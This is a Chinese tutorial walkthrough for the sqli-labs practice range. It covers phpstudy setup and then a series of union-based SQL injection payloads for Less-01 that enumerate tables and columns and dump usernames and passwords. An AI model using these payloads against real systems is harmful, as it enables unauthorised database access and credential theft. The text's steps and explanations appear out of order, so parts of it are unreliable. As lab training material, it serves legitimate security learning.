目录
一.环境搭建
1.phpstudy下载
2.下载sqli-labs
3.对sqli-labs初始化文件进行配置
4.安装并使用5.xxx版本,实测7.xxx版本无法使用
5,点击修改,设置如下
6.设置完成后打开浏览器,输入网址
编辑
7.点击上图Setup/reset Database for labs即可配置数据库
编辑
二.开始闯关
less-01:
1.?id=1查看注入
2.输入?id=1' order by 1--+查找:
3.输入?id=-1' union select 1,2,3--+
5.输入?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security' limit 1,1--+
6.输入?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
7.输入?id=-1' union select 1,2,column_name from information_schema.columns where table_name='users' limit 0,1--+
8.输入?id=-1' union select 1,2,concat_ws('~',username,password) from security.users limit 1,1--+
小皮面板(phpstudy) - 让天下没有难配的服务器环境!
安装完后打开软件,开启nginx和mysql
https://github.com/Audi-1/sqli-labs
将下载好的sqli-labs靶场将压缩文件解压至phpstudy的www目录下
路径如图
密码自行设置
成功如下
出现用户名和密码。
继续输入 order by 2--+,order by 3--+,当输入 order by 4--+时:
出现报错,说明数据库只有三列
来判断三列数据的回显点,用1,2,3来标记:
4.输入?id=-1' union select 1,2,database()--+在3回显点处输出当前数据库名:
查看位于security库下的第一个表:
通过limit x,1可以一个一个查看表名,也可使用函数将数据一起输出:
concat()函数用于将多个字符串连接成一个字符串。
语法及使用特点: concat(str1,str2,…)
group_cincat()函数返回一个字符串结果,该结果由分组中的值连接组合而成。
查看库中所有的表:
查看user表中的第一个列:
同上运用函数可输出所有的列:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查看一个账号和密码以“~”隔开
concat_ws()函数指定参数之间的分隔符
使用语法为:concat_ws(separator,str1,str2,…)
结合函数可得到所有账号和密码:
?id=-1' union select 1,2,group_concat(concat_ws('~',username,password) )from security.users--+